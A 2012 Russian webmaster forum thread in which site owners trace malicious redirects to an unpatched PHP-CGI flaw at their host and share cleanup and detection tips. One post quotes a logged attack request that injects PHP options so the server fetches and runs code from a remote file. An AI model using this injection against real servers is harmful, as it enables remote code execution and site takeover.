Вредоносный код

В общем, исследовав проблему более детально, нашел ее корни.

Проблема в уязвимости PHP установленного у хостера.

А именно, если по-русски, то вот этой: http://www.opennet.ru/opennews/art.shtml?num=33765

В моем случае, все выглядело вот так:

GET /?-d%20allow_url_include%3don+-d%20auto_prepend_file%3dhttp://www.convoy.ru/css/imgs.txt%20-n HTTP/1.0

Уязвимость примитивна, залатана она будет как обещается в мае, однако когда позаботятся обновиться хостеры не известно.

Если ничего не предпринимать, сайт могут ломать хоть каждую секунду в автоматическом режиме.

---------- Добавлено 08.05.2012 в 02:41 ----------

Мне Платоны отписались что страницы вернуться в течение 2-3 недель.

Главное чтобы за этот период опять какаянибудь зараза не залезла на сайт.

Обидно что любой школьник такое мог сделать ((

Собственно всем - сразу грешите на Flash - в шапках, баннерах

Подробнее...?

Ваще жесть на таком форуме такие проблемы, печально...

DpoHro, Благодарю, за пост с разъяснением о появлении вредоносного кода. Дело в том, что проблема у меня не совсем исчезла. Периодически появлялся этот код, но я его удалял. За это время поменял антивирус перешел от бесплатного к платному (результат нашел на локальном компьютере трояна), поменял пароли... это не помогло, переустановил систему. перепроверил скрипты никаких дыр не обнаружил. Сегодня написал хостеру со ссылкой на ваше сообщение, тот сообщил, что проблема устранена. посмотрим, что будет дальше.

DpoHro, спасибо за пост.

Дыры закрыл. Уязвимость была на всех моих хостингах, мда...

Рад что помог.

Проблема глобальна, мой хостер (не буду показывать пальцем) имеет тьму зараженных сайтов и еще одну тьму уязвимых, а это один из ведущих хостеров в рунете.

Я не понимаю в чем проблема, не верю что они не знают, что сайты уже заражаются думаю в авторежиме. Написать скрипт который это делает дело одного дня.

В общем, ахтунг.

Этот хостер не из трех букв, случайно?

Да из трех, он самый.

---------- Добавлено 11.05.2012 в 12:25 ----------

Пишите в ТП покажите ссылку из моего поста, они закроют.

Спасибо за ответ. Удачи вашему проекту и скорейшего возвращения в индекс!

Что касается этого хостера, то они задрали уже своей дырявостью. У меня сейчас точно такая же проблема как и у вас, почти весь трафик в статистике показывается с jindtesn_com. У меня, как назло, свежего бэкапа до заражения нет, только после.

Как вы избавились от этой дряни?

Спасибо, Вам тоже всего хорошего!

Проверить можно:

чистим кукисы в браузере, находим в поисковике ссылку на свой сайт и переходим, происходит редирект.

Там кука ставится так что повторно может не повториться редирект.

Потом смотрим, если страница перед редиректом успевает прогрузиться (может не отобразиться при этом) значит зараза сидит в js-скриптах. Если страница не успевает прогрузиться, смотрим Headers скорее всего там редирект есть, знасит ищем в php скриптах.

У меня первый раз через php редиректило второй раз через js. Вроде нашел все.